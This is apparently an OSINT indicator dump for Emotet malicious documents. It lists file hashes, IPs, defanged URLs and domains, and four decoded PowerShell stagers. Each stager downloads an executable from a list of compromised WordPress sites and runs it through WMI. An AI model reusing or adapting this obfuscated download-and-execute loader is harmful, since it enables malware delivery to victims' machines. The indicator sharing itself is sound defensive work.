Emotet_Doc_out_2020-10-28_22_41.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
0108480ef1a0e359c99960286066e2b2f294e5ccc5634ada46ffa0efed4321b7
5a3856662e4cbb0a005a296d49553490ac6012c6d56158cdc1b75615410ad792
913ad0deee7db9012293779fa15d6491806e2ea0d1935f45991a652ec1b76d4e
55b75c968db5ee5a5d9c094f132128d97bac46c4e846ecb190fef5b3a002fab4
c5c30109258c33dcd8475ceab926f4a82794339f111c64e52a1e8ffbee77be4a
9edf498a6066ff0e5be970253b4e90411ca4d164fbee2a688c65724a0a0dd403
d33ceb9a5c0d965211a46fdd86a7f88e2aff7c03d18561344e4ef39faab31fad
2f827948f5ca8bb73886ee64091abcc41a19ae9887d08514dcfb87935c4300c5
4760301c9f69ac873695b32575bfb814706e3f43c55aec6c05de900156550254
a41e4d1738fe2c3ffab80802b9a6ecf92d32c0e4c1180fddac1a9e733b24bbcf
e1a1c8b02de20858f2703c835ecd985f2b744816cd4f8757ca7e12af15d3af11
a4d1178f3a923b023599d331b6772e92a0728644f27f4ad372f74a28b6a5a096
7123fe5464dfce65a1bbac28244f6a100c49c281f037ad8d6830275d85bddf44
c941232a830436abd4969caa877cb7fdf70ceb9bfc8844e7dc75fd1f400cc897
ad6d836008890fcbebbb8d0ea71db58640ac8a6545b237655c4c9bd0dd9b270f
ad6d836008890fcbebbb8d0ea71db58640ac8a6545b237655c4c9bd0dd9b270f
acec2b7cea57b2f5faa43b49be25b8f40c05ac23ef99e308463d9c8a13d1221b
947ad40b782030b5eb73b4e4957c0f95d236c1414fd8d72520a422461cd211a8
a2a1fb0e34755eda063fd82d7fe452eb979f87b8cf484cd8fa59a45df5adb29d
6059ce335049c1b4200290f042fabd903bf0081c4677138bf256636f82e81c9c
22501e141b52a24309578121d2ba63249fc21c36c6b4dbfd0f22635c0a0aae35
f973018352488fe6ba623919161c5b4387f67d9aca131af19480684ae2740544
46ba8ff48c427c6ce2eb772af5df99841d854430fdbd10c35906394573d80e34
5ce0046c606a280f8d74e5263eaa3e9912f6f232c7508ed71f50e8a4972b47a8
5ce0046c606a280f8d74e5263eaa3e9912f6f232c7508ed71f50e8a4972b47a8
f8c7566296ab5b125218fcfca6cb017b25bf92027db687ec545e8897a62c59f9
f8c7566296ab5b125218fcfca6cb017b25bf92027db687ec545e8897a62c59f9
7d38c4d98d05cd3a7a0fc6898c9d86ef1c29cd8dcfa3403d0222ff508843a325
7d38c4d98d05cd3a7a0fc6898c9d86ef1c29cd8dcfa3403d0222ff508843a325
ddcf5630aefa8de831c95d68479b3d2b92bae966f6e994b16ff7c9821a227c21
783f27e26d14d3995898c2e135fa9944d4015481789286efd92026c7ef2ffdbf
783f27e26d14d3995898c2e135fa9944d4015481789286efd92026c7ef2ffdbf
4b23a4ac129f0ecf983c1cebbb1f680b78b0d713c4003e51021e4cca2e997be9
4389a855fc217bc2a9ed342735f09fd3d8d148ff29272d80c2efd4a03a9806e1
e4d94aba5a47bbeecaa7eca44fdfd7d46fc85a1d2c46c55c704d159f3f378670
06ec99604dbab921a28b8e15029e242d622f2d65beeff63255f2e417f6b4e94a
f29906f9be58bbaac385fc9925f35f8b4b79ff4bf5e4ce7f3d89d90435a784a2
08d832a1ff20d74ba37553d0ac28f94bc54d7463e392873c34faf6bb44d47afd
cc8fc57c254af923300ad01c01076eda0316bea0024c177ff5957f517b2f7172
560dfd8d4f9642e08df6182f046002538246919e100717f57b5f918211a7e95b
560dfd8d4f9642e08df6182f046002538246919e100717f57b5f918211a7e95b
93d882200983e8ea91da547916ade52e52c5f684c19434eb8e3312b4d4251bb1
34031f5f46e6201cbd665c4737396e5ec06467bda423ea1a3d86b88f7fa96e7c
34031f5f46e6201cbd665c4737396e5ec06467bda423ea1a3d86b88f7fa96e7c
cdcc9f999263c672f77e84b1b08028da0a298140b3e9e300baaa8a6b69c84e99


IPs:
103.129.97.141
104.27.152.75
104.27.153.75
104.31.71.72
154.221.28.167
163.44.171.109
164.68.110.47
172.67.207.172
18.141.51.146
187.45.193.174
192.130.146.156
209.200.87.182
35.155.238.120
47.106.249.22
50.62.56.243
51.158.123.247
51.38.224.182
52.34.101.219
74.80.58.254
80.66.63.98
8.210.173.81
85.50.100.181
92.61.46.229



URLs:
hxxp://nanettecook.org/wp-admin/x/
hxxp://scalarmonitoring.com/wp-admin/js/widgets/S0A/
hxxps://fourseasonsjsc.com/wp-admin/hzu9vvt/
hxxps://ningyangseo.com/wp-admin/am/
hxxps://www.rapidcarwash.net/wp-content/nO6U/
hxxp://coolchacult.com/wp-includes/i/
hxxp://anpbodysculpting.com/wp-content/themes/twentytwenty/c/
hxxps://lamajesteindustries.com/wp-content/DRTujMR/
hxxps://www.saintmarcel.com/wp-includes/VKbL2/
hxxps://gayatrienterprise.org/wp-admin/DPBsj/
hxxps://weparditestaa.fi/wp-admin/72uPk/
hxxps://blog.6b47.com/Assets/w5U/
hxxps://www.easeiseasy.com/wp-admin/q/
hxxps://ursuperstar.com/wp-admin/AAxKlbV/
hxxps://kramedas.lt/wp-admin/E9Gciyc/
hxxps://critical-thinking.fr/wp-includes/vHQWren/
hxxp://www.leapmom.com/ukeol/c/
hxxps://csgcargo.com/wp-content/d/
hxxps://www.greenleafnaturalfarms.com/cgi-bin/h/
hxxps://rucloset.com/gon/4/
hxxps://pachiba.com/blogs/7/
hxxps://betsdotbahisgiris.com/cgi-bin/I/
hxxps://rawmeditations.com/wp-content/r/
hxxps://getpranaveda.xyz/wp-admin/yz/
hxxp://xinhecun.cn/wp-content/VCNbWWDK/
hxxps://www.apeduti.com.br/wp-includes/XN2wg26v/
hxxp://heankan.bio/js/Rb/
hxxps://sheen-vietnam.vn/wp-content/qtg2J6XhZ/
hxxps://madrushdigital.com/wp-admin/PJi/
hxxps://lunabituyelik.com/wp-content/fWd0/


Domains:
nanettecook.org
scalarmonitoring.com
fourseasonsjsc.com
ningyangseo.com
www.rapidcarwash.net
coolchacult.com
anpbodysculpting.com
lamajesteindustries.com
www.saintmarcel.com
gayatrienterprise.org
weparditestaa.fi
blog.6b47.com
www.easeiseasy.com
ursuperstar.com
kramedas.lt
critical-thinking.fr
www.leapmom.com
csgcargo.com
www.greenleafnaturalfarms.com
rucloset.com
pachiba.com
betsdotbahisgiris.com
rawmeditations.com
getpranaveda.xyz
xinhecun.cn
www.apeduti.com.br
heankan.bio
sheen-vietnam.vn
madrushdigital.com
lunabituyelik.com


Decoded Base64 Powershell:
<���^,sEt-ItEM varIABLe:N59Om   [tYpE]"{1}{4}{0}{2}{3}{5}"-F m.I,Sy,o.di,rectoR,STe,Y ;
  sET x2i [tYpE]"{5}{4}{3}{1}{2}{0}{6}" -f A,IcEpOI,ntM,V,r,SYsteM.nET.sE,nAGeR  ;
  $Rusvcxv=Ul1p2p0;
$K0ulpne=$T0038rg  [char]64  $E96mkf8;
$Zwx66t0=I9fvx0h;
    gEt-VARIablE  N59OM -valueOnly::"C`ReAT`EDIre`c`ToRy"$HOME  mtzD8c98nnmtzOss08b_mtz-rePLACE  [CHaR]109[CHaR]116[CHaR]122,[CHaR]92;
$Ogh9dic=Jhpf3i6;
   VAriAbLE  X2i -ValUe::"s`eC`URity`pROTOCOl" = Tls12;
$Kmqe4dr=Zqq0mvy;
$R7_cy0p = T14e00;
$Tuprxe5=Bcrgksc;
$Lz00x4d=Uugpbq2;
$Y7ednl2=$HOME{0}D8c98nn{0}Oss08b_{0}-F [CHAR]92$R7_cy0p.exe;
$Lczvnx5=E1n86pn;
$Zgla5ar=.new-object neT.WeBcLIeNT;
$Gl6g57e=hxxp://nanettecook.org/wp-admin/x/
hxxp://scalarmonitoring.com/wp-admin/js/widgets/S0A/
hxxps://fourseasonsjsc.com/wp-admin/hzu9vvt/
hxxps://ningyangseo.com/wp-admin/am/
hxxps://www.rapidcarwash.net/wp-content/nO6U/
hxxp://coolchacult.com/wp-includes/i/
hxxp://anpbodysculpting.com/wp-content/themes/twentytwenty/c/
hxxps://lamajesteindustries.com/wp-content/DRTujMR/."RepLA`cE"/,[array]/,xwe[0]."S`PlIT"$Rnnp__x  $K0ulpne  $Mtzd9pz;
$I31h4s_=W649pgb;
foreach $Xdxfd0b in $Gl6g57e{try{$Zgla5ar."dOWNL`OaDFI`Le"$Xdxfd0b, $Y7ednl2;
$Fr2ydl2=L3d692g;
If &Get-Item $Y7ednl2."L`eng`TH" -ge 45002 {[wmiclass]win32_Process."CR`EATe"$Y7ednl2;
$Tvdzf8g=Ouehztk;
break;
$I7ryaua=G2boe7e}}catch{}}$B7zw0yb=Okt3wj2<���^,Set-ITEM  vArIABle:PVJU    [tYPE]"{3}{0}{1}{2}" -f EM.,io.Dire,cTorY,SysT ;
  $DTNmr=  [TyPe]"{0}{3}{4}{2}{1}{5}" -FsysteM.nEt.SeRvIce,an,Tm,p,oIn,aGeR ;
 $Vw61vpu=B2hw92x;
$Ej2p152=$A3as7qa  [char]64  $Rd9lvxo;
$Ouvd_am=We1_33p;
  gI  VaRIabLe:pvju .VAlue::"C`REAted`Ir`ECtORy"$HOME  7oPQq5410o7oPYqrtht17oP  -CrEPLAce[CHAR]55[CHAR]111[CHAR]80,[CHAR]92;
$U5sqthk=Pecsrje;
   Get-VarIabLe DtnMR.vALUE::"seCur`IT`yPROtoCOl" = Tls12;
$Ivcnfuz=L3x32a0;
$M3zy91j = R1s2f0emk;
$M6963xa=Qg1bdjf;
$Z2vtxvg=V22nknr;
$Tjmo7yf=$HOMERleQq5410oRleYqrtht1Rle."REP`L`ACe"Rle,[STrIng][Char]92$M3zy91j.exe;
$C8c6dwa=Tqn3gxx;
$X02vbcn=.new-object NEt.weBCLiENT;
$Ad40l8h=hxxps://www.saintmarcel.com/wp-includes/VKbL2/
hxxps://gayatrienterprise.org/wp-admin/DPBsj/
hxxps://weparditestaa.fi/wp-admin/72uPk/
hxxps://blog.6b47.com/Assets/w5U/
hxxps://www.easeiseasy.com/wp-admin/q/
hxxps://ursuperstar.com/wp-admin/AAxKlbV/
hxxps://kramedas.lt/wp-admin/E9Gciyc/
hxxps://critical-thinking.fr/wp-includes/vHQWren/."RE`PLA`Ce"/,[array]/,xwe[0]."S`plIt"$Py0n33v  $Ej2p152  $R2ba7xa;
$S_9ghln=Tv2hhoa;
foreach $Xcnu3al in $Ad40l8h{try{$X02vbcn."DOwnLOaD`F`ile"$Xcnu3al, $Tjmo7yf;
$Cs2xoe0=Iffnu_d;
If .Get-Item $Tjmo7yf."L`enG`Th" -ge 32443 {[wmiclass]win32_Process."cRea`TE"$Tjmo7yf;
$Ccgzrbl=Owgao1k;
break;
$V9o7o7w=P6cfa53}}catch{}}$Q3el6sx=Lm5s3m9<���^,Set-ITEM "v""a""rIABle:Qpe5""T""3"   [tYPe]"{0}{2}{3}{1}{4}" -fsy,R,STEm.Io.D,i,eCtOry  ;
  sET "f0E""gNs"   [tyPe]"{2}{6}{3}{5}{8}{4}{7}{1}{0}" -ftmAnAGer,n,s,T,cePO,Em.NeT.sERv,YS,I,i  ;
 $H6tjdm_=Gv_1185;
$Go_bo7y=$Q_k07hn  [char]64  $Fxn8fi0;
$K12unp6=H3k2u02;
   GET-varIABLe "QpE""5T3".valuE::"C`REAtEDi`Rec`TO`Ry"$HOME  xo5Nk9tluzxo5M8lyra_xo5."rE`PlaCE"xo5,[StrInG][chAr]92;
$C2ar1ao=Nxbq0da;
  GEt-IteM vAriABLe:F0EgnS.vALuE::"s`eCurI`T`ypr`OTocOl" = Tls12;
$P3lafkh=Deyd9wl;
$Ll95j52 = X45ohs;
$Jlxb1no=F3kf4y2;
$Vu4mwnk=Xl5vgjx;
$Peaid19=$HOME{0}Nk9tluz{0}M8lyra_{0} -F[CHAR]92$Ll95j52.exe;
$Cj9zsir=T8qmyrt;
$D1duxm3=.new-object neT.weBCliEnT;
$Epe2_o5=hxxp://www.leapmom.com/ukeol/c/
hxxps://csgcargo.com/wp-content/d/
hxxps://www.greenleafnaturalfarms.com/cgi-bin/h/
hxxps://rucloset.com/gon/4/
hxxps://pachiba.com/blogs/7/
hxxps://betsdotbahisgiris.com/cgi-bin/I/
hxxps://rawmeditations.com/wp-content/r/."REp`Lace"/,[array]/,xwe[0]."Sp`Lit"$Eoa5pf9  $Go_bo7y  $Asept5b;
$Dsau2b8=C8vz89s;
foreach $Cbt0fgh in $Epe2_o5{try{$D1duxm3."dO`WnloADF`ile"$Cbt0fgh, $Peaid19;
$Ujp3i4n=I8yaecm;
If &Get-Item $Peaid19."lEn`GtH" -ge 48432 {[wmiclass]win32_Process."c`RE`ATe"$Peaid19;
$Mhfq06e=L2suied;
break;
$Swkpk2m=Bi5o7rb}}catch{}}$R6o1n_5=Hk3c7od<���^,Set-ITEm  vARIABle:E38Z6    [TYpe]"{3}{0}{4}{5}{1}{2}" -f tEM,ir,ECtoRy,SyS,.io,.D ;
seT-vAriaBLE  FEB8W   [TyPe]"{2}{5}{0}{6}{3}{1}{4}" -fEM.,EPoI,S,.sErVIc,NTmanAgEr,YST,net  ;
$Xkh5mod=Sypzxwr;
$U84tt7c=$Umkhros  [char]64  $Eu_a3r9;
$Ilxiyjc=E3inlku;
 $E38z6::"c`Re`AT`E`DIREctOry"$HOME  h9LDku9b1_h9LAapn1vvh9L-REpLaCE[chAr]104[chAr]57[chAr]76,[chAr]92;
$Ogwoloa=Uyx4od_;
  Gci  VArIAbLE:fEB8W .vaLUE::"se`cuR`it`YPrOTOCOL" = Tls12;
$Thml_ju=Gsazgei;
$C52pram = Avqv7t89l;
$Lawkoc4=Qd0iplw;
$D4nllyp=U4ypnil;
$Yulhvpf=$HOMEgU8Dku9b1_gU8Aapn1vvgU8."rEP`LA`CE"gU8,[sTRING][ChAR]92$C52pram.exe;
$A65u8_e=Xhsf94g;
$Nuprrm8=.new-object NET.weBcliENt;
$Pgathra=hxxps://getpranaveda.xyz/wp-admin/yz/
hxxp://xinhecun.cn/wp-content/VCNbWWDK/
hxxps://www.apeduti.com.br/wp-includes/XN2wg26v/
hxxp://heankan.bio/js/Rb/
hxxps://sheen-vietnam.vn/wp-content/qtg2J6XhZ/
hxxps://madrushdigital.com/wp-admin/PJi/
hxxps://lunabituyelik.com/wp-content/fWd0/."rEpL`ACE"/,[array]/,xwe[0]."sP`LiT"$Z4ndv_5  $U84tt7c  $O7svpnw;
$Uuhuscf=Rqodfk4;
foreach $Mi5q_do in $Pgathra{try{$Nuprrm8."Do`wn`L`OADfILe"$Mi5q_do, $Yulhvpf;
$Qtqu6h5=Ac_brts;
If .Get-Item $Yulhvpf."lE`NGth" -ge 40683 {[wmiclass]win32_Process."CREa`Te"$Yulhvpf;
$Cmovwy8=Fpew1wk;
break;
$N089cuv=Ftqcezf}}catch{}}$Wtb9opa=N9x41pl